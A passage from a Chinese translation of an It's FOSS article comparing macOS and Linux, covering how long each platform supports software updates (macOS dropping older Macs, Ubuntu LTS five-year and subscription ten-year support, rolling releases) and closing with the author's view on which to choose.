例如,macOS Ventura(在撰写本文时即将进行版本升级)突然抛弃了 2017 年之前的所有 Mac 设备。

有趣的是,以前的操作系统版本平均支持 七年左右,但随着更新的变化,现在似乎是 五年左右

对于苹果公司设计的芯片,这或许不是一个简单的答案。但是,至少 4 到 5 年的软件支持是安全的。

Linux 为你提供了选择。如果你想要一个没有功能升级,只专注于维护和安全性的稳定操作系统,Linux 发行版的 LTS 版本 可以免费为你提供 五年 的更新。这主要适用于 Ubuntu 或基于 Ubuntu 的发行版,如 Linux Mint。

此外,有一个 Ubuntu 订阅项目,你可以持续 十年 得到安全更新。

而且,不止于此,你还可以选择 滚动发行的版本,来获得没有结束时间的持续的前沿更新。只要你的硬件能够胜任,你应该就能毫无问题地更新操作系统。

macOS vs. Linux: 你应该选择哪一个?

如果你需要的话,macOS 可以说是物有所值。

不建议只需要上网、发送电子邮件,以及执行一些在任何平台上都可以执行的任务的用户购买 macOS。

macOS 仍然是一个小众的选择。

然而,随着 Linux 的改进,它已经成为先前是 Windows/macOS 的用户、计算机专业学生、开发人员、创意专业人士(如我们)以及广泛潜在用户的有用的选择。

选择 Linux 而不是 macOS (而不是反之)的原因有很多,但这是我的看法。

你对 macOS 与 Linux 有何看法?欢迎在下面的评论中分享你的想法。


via: https://itsfoss.com/mac-linux-difference/

作者:Ankush Das 选题:lkxed 译者:Donkey-Hao 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出